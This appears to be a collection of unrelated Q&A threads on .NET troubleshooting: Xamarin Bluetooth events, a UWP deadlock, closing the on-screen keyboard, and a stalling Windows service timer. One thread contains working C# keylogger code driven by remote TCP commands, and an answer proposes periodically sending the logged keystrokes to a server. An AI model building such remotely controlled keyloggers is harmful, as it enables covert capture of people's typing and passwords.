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INotifyPropertyChanged Resubscribe not working, only the first time subscription working

I developing a Xamarin application, and I communicating an external custom device. My problem is very strange, firstly the application starting, and connecting automatically to device, so everything is fine. When i suddenly remove the battery from the external device, the bluetooth connection is broken, and it's working fine to, but when I turn on the external device again, my Xamarin application connecting to it very well well, but the subscriptions not working anymore.
I debugged it, but not calling anymore. I think the unsubscribe/subscribe process is wrong.
...
if (ble.GetConnectionStatus())
{
Device.BeginInvokeOnMainThread(() =>
{
...
ble.Adapter.DeviceConnectionLost -= Adapter_DeviceConnectionLost;
ble.Adapter.DeviceConnectionLost += Adapter_DeviceConnectionLost;
ble.PropertyChanged -= Ble_PropertyChanged;
ble.PropertyChanged += Ble_PropertyChanged;
data.PropertyChanged -= data_PropertyChanged;
data.PropertyChanged += data_PropertyChanged;
...
});
...
So it's so strange, because first time this working, when starting the app, but when I call it after reconnect that same subscription not working. So if its wrong, then why working this at very first time?
I have no error, just not fire the functions again after resubscribe.
So as you see, I need to "refresh" the subscription. Is there another way to solve this problem?

If that "button to recreate everything" works, then I see two alternatives.
Option 1:
Have such a button, so that user can manually "fix" the situation.
PRO: Gives the user a solution that is guaranteed to work.
CON: Requires user intervention.
Option 2:
Have a periodic timer, that decides whether/when to forcibly "fix" the situation.
PRO: Automatically recovers.
CON: Risks losing data, if forces a recovery at the same time data is arriving.
In pseudo-code, option 2 might be something like this:
// pseudo-code
static Timer timer = ..start a timer that has an event every 10 seconds.
OnTimerElapsed:
if (!eventSeenRecently)
ForceReset();
eventSeenRecently = false;
..whereever you receive data..
if (..has data..)
eventSeenRecently = true;
The concept is that you keep track of whether data continues to be received. If the device stops sending you information (but you believe it should be), then you "ForceReset" - whatever is needed to get everything going again.
DeviceConnectionLost should also set some flag, that you use to ForceReset when the device "comes back".
// pseudo-code
DeviceConnectionLost:
resetNeeded = true;
OnTimerElapsed:
if (resetNeeded && ..test that device is available again..) {
ForceReset();
resetNeeded = false;
}
Perhaps this custom device has some option or info that can help.
For example, there might be a way to query some id or other info, so you can discover that the device is now "different", in a way that requires the reset. Then the timer does that query, and uses that info to decide to reset.

Win 10 IOT thread deadlocking in UWP

What I want to do:
- synchronously (or even asynchronously) load settings from USB drive before first page loads
What I did:
- in OnLaunched method for App.xaml.cs I invoked this static function:
public static async void LoadSettings(string folderName = "Config", string fileName = "Settings.xml")
{
try
{
StorageFile configFile = null;
// scan through all devices
foreach (var device in await KnownFolders.RemovableDevices.GetFoldersAsync().AsTask().ConfigureAwait(false))
{
// folder that should have configuration
var configFolder = await device.GetFolderAsync(folderName).AsTask().ConfigureAwait(false);
if (configFile != null && configFolder != null && await configFolder.GetFileAsync(fileName).AsTask().ConfigureAwait(false) != null)
{
throw new Exception("More than one configuration file detected. First found configuration file will be used.");
}
else
configFile = await configFolder.GetFileAsync(fileName).AsTask().ConfigureAwait(false);
}
if (configFile == null)
throw new Exception("Configuration file was not found, please insert device with proper configuration path.");
string settingString = await FileIO.ReadTextAsync(configFile).AsTask().ConfigureAwait(false);
XmlSerializer serializer = new XmlSerializer(typeof(Settings));
using (TextReader reader = new StringReader(settingString))
{
AppSettings = (Settings)serializer.Deserialize(reader); // store settings in some static variable
}
}
catch (Exception e)
{
//return await Task.FromResult<string>(e.Message);
}
//return await Task.FromResult<string>(null);
}
As you can see right now it's async void method, so I don't even want to synchronize it in any way with UI thread. It should just fire and do something. With ConfigureAwait(false) I want to be sure that it will never try to return to context. These returns at the end are remnants of other things I tried (I wanted to do this better way, this is the most primitive solution and it still doesn't work).
Anyway, because that's where the fun begins: everything works well when I debug application on local machine with Win 10. And I get deadlocked thread on Win 10 IOT installed on Raspberry Pi 3 (I installed it from the scratch today, last version).
But deadlock is not the weirdest thing. Weirdest thing is when it appears.
Like I said, invocation of this method looks like that:
protected override void OnLaunched(LaunchActivatedEventArgs e)
{
Configuration.Settings.LoadSettings();
After that everything in this method goes normally, so I navigate to my first page somewhere below:
if (e.PrelaunchActivated == false)
{
if (rootFrame.Content == null)
{
rootFrame.Navigate(typeof(LogScreen), e.Arguments);
}
Window.Current.Activate();
}
Everything still works. User needs to write his code, I check if this code is available in settings and after that user can press "OK" to move to next page. Somewhere in LogScreenViewModel this method is responsible for that:
private void GoForward(bool isValid)
{
try
{
_navigationService.NavigateTo("MainPage"); // it's SimpleIoc navigation from MVVMLight
}
catch (Exception e)
{
Debug.WriteLine($"ERROR: {e.Message}");
}
}
And deadlock happens when _navigationService.NavigateTo("MainPage") is reached. Basically right now UI thread freezes. If I wait for long enough I will see catched exception in Output saying that messenger seemed occupied (I can't show the screen because I don't have access to that Raspberry right now) and after some timeout this thread was killed (like 30 seconds or something) - after that UI thread unlocks and application proceeds to MainPage. It doesn't happen on PC - MainPage appears immediately, no exceptions, no deadlocks.
I tried waiting on first page for like 1 minute to check if some deadlock exception would fire on it's own - but it doesn't. It will fire ONLY after I try to proceed to next page.
What else I tried instead of this fire-and-forget approach:
Making OnLaunched async and await LoadSettings returning Task - same thing happens in the same place, and no problem on PC.
Using:
Window.Current.Dispatcher.RunAsync(Windows.UI.Core.CoreDispatcherPriority.Normal, async () => await Configuration.Settings.LoadSettings(); ).AsTask().Wait(); If I remember correctly it deadlocked immediately on Wait(), even with ConfigureAwait(false) everywhere, but it also happened on PC.
Allowing LogScreen to load, make it's OnNavigatedTo method async and await LoadSettings - same deadlock in same place
Allowing LogScreen to load and use Dispatcher from there like in point 2. It deadlocked the same way after reaching Wait(), on PC too.
Trying to force LoadSettings to be fully synchronous by replacing every await with AsTask().GetAwaiter().GetResults(). It worked well on PC... and of course deadlock on Raspberry.
What am I missing? What else can I try? Because to be honest right now it looks to me that Win 10 IOT .NET runtime is bugged or something.

I think I resolved the issue. This code was generally speaking not mine and after some digging I noticed that someone before me tried to list some other external devices while navigating to MainPage. It was not really async-safe code (someone probably wasn't aware of synchronization context) and it worked on Win 10 only because on desktop it was looking for COM0 device and I only have COM2, so method causing trouble was not even invoked at all.
I still have no idea how related it was to my configuration (because it somehow was working without it), but after I fixed issues with this old not-async-safe code it started to behave as expected.

Library works when called in Form1, but not from anywhere else

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !

The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.

I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.

Process.CloseMainWindow() not working

I start the Windows On-Screen-Keyboard like that:
s_onScreenKeyboard = new Process();
s_onScreenKeyboard.StartInfo = new ProcessStartInfo("osk.exe");
s_onScreenKeyboard.EnableRaisingEvents = true;
s_onScreenKeyboard.Exited += new EventHandler(s_onScreenKeyboard_Exited);
s_onScreenKeyboard.Start();
This works fine, but when I try to stop it using the following code, it does not work, i.e. the OSK keeps running and the method returns false:
s_onScreenKeyboard.CloseMainWindow();
if (!s_onScreenKeyboard.HasExited)
{
if (!s_onScreenKeyboard.WaitForExit(1000))
{
s_onScreenKeyboard.Close();
//s_onScreenKeyboard.Kill();
}
}
When uncommenting s_onScreenKeyboard.Kill(); it is closed, but the problem is that osk.exe obviously uses another process called "msswchx.exe" which is not closed if I simply kill the OSK process. This way, I would end up with hundreds of these processes which is not what I want.
Another strange thing is that the CloseMainWindow() call worked at some time, but then it suddenly did not work anymore, and I do not remember what has changed.
Any ideas?
EDIT: I have found a solution myself. Please see my answer for details.
Background:
I am implementing an On-Screen-Keyboard for my application because it should work with a touchscreen. It is important that the keyboard layout matches the layout which is configured in Windows since the application will be shipped to many different countries. Therefore, instead of implementing a custom keyboard control with approx. 537 keyboard layouts (exaggerating a little here...), I wanted to utilize the Windows built-in On-Screen-Keyboard which adapts to the selected keyboard layout automatically, saving a lot of work for me.

I have found the/a solution myself:
When I successfully retrieve the MainWindowHandle after the process has been started, the call to CloseMainWindow() is also successful later on. I do not understand the reason for this, but the important thing is: it works!
BTW, for others having the same problem: The MainWindowHandle is not available immediately after starting the process. Obviously, it takes some milliseconds until the MainWindow is started which is why I use the following code to retrieve the handle:
DateTime start = DateTime.Now;
IntPtr handle = IntPtr.Zero;
while (handle == IntPtr.Zero && DateTime.Now - start <= TimeSpan.FromSeconds(2))
{
try
{
// sleep a while to allow the MainWindow to open...
System.Threading.Thread.Sleep(50);
handle = s_onScreenKeyboard.MainWindowHandle;
}
catch (Exception) { }
}
In this code I continuously get the MainWindowHandle every ~50ms as long as it is still equal to IntPtr.Zero. If the handle could not be retrieved after 2 seconds, I quit the loop to avoid an endless loop in case of error.

You need to wait untill the process finishes initialization, run
Process.WaitForInputIdle Method in order to do that.

.NET Windows Service with timer stops responding

I have a windows service written in c#. It has a timer inside, which fires some functions on a regular basis. So the skeleton of my service:
public partial class ArchiveService : ServiceBase
{
Timer tickTack;
int interval = 10;
...
protected override void OnStart(string[] args)
{
tickTack = new Timer(1000 * interval);
tickTack.Elapsed += new ElapsedEventHandler(tickTack_Elapsed);
tickTack.Start();
}
protected override void OnStop()
{
tickTack.Stop();
}
private void tickTack_Elapsed(object sender, ElapsedEventArgs e)
{
...
}
}
It works for some time (like 10-15 days) then it stops. I mean the service shows as running, but it does not do anything. I make some logging and the problem can be the timer, because after the interval it does not call the tickTack_Elapsed function.
I was thinking about rewrite it without a timer, using an endless loop, which stops the processing for the amount of time I set up. This is also not an elegant solution and I think it can have some side effects regarding memory.
The Timer is used from the System.Timers namespace, the environment is Windows 2003. I used this approach in two different services on different servers, but both is producing this behavior (this is why I thought that it is somehow connected to my code or the framework itself).
Does somebody experienced this behavior? What can be wrong?
Edit:
I edited both services. One got a nice try-catch everywhere and more logging. The second got a timer-recreation on a regular basis. None of them stopped since them, so if this situation remains for another week, I will close this question. Thank you for everyone so far.
Edit:
I close this question because nothing happened. I mean I made some changes, but those changes are not really relevant in this matter and both services are running without any problem since then. Please mark it as "Closed for not relevant anymore".

unhandled exceptions in timers are swallowed, and they silently kill the timer
wrap the body of your timer code in a try-catch block

I have seen this before with both timer, and looped services. Usually the case is that an exception is caught that stops the timer or looping thread, but does not restart it as part of the exception recovery.
To your other points...
I dont think that there is anything "elegant" about the timer. For me its more straight forward to see a looping operation in code than timer methods. But Elegance is subjective.
Memory issue? Not if you write it properly. Maybe a processor burden if your Thread.Sleep() isn't set right.

http://support.microsoft.com/kb/842793
This is a known bug that has resurfaced in the Framework more than once.
The best known work-around: don't use timers. I've rendered this bug ineffective by doing a silly "while (true)" loop.
Your mileage may vary, so verify with your combination of OS/Framework bits.

Like many respondents have pointed out exceptions are swallowed by timer. In my windows services I use System.Threading.Timer. It has Change(...) method which allows you to start/stop that timer. Possible place for exception could be reentrancy problem - in case when tickTack_Elapsed executes longer than timer period. Usually I write timer loop like this:
void TimeLoop(object arg)
{
stopTimer();
//Do some stuff
startTimer();
}
You could also lock(...) your main loop to protect against reentrancy.

Interesting issue. If it is truly just time related (i.e. not an exception), then I wonder if you can simply periodically recycle the timer - i.e.
private void tickTack_Elapsed(object sender, ElapsedEventArgs e)
{
CheckForRecycle();
// ... actual code
}
private void CheckForRecycle()
{
lock(someLock) {
if(++tickCount > MAX_TICKS) {
tickCount = 0;
tickTack.Stop();
// re-create timer
tickTack = new Timer(...);
tickTack.Elapsed += ...
tickTack.Start();
}
}
}
You could probably merge chunks of this with the OnStart / OnStop etc to reduce duplication.

Have you checked the error logs? Maybe you run out of timers somehow. Maybe you can create just one timer when you initialize the ArchiveService and skip the OnStart stuff.

I have made exactly the same as you in a few projects but have not had the problem.
Do you have code in the tickTac_Elapsed that can be causing this? Like a loop that never ends or some error that stops the timer, using threads and waiting for ending of those and so on?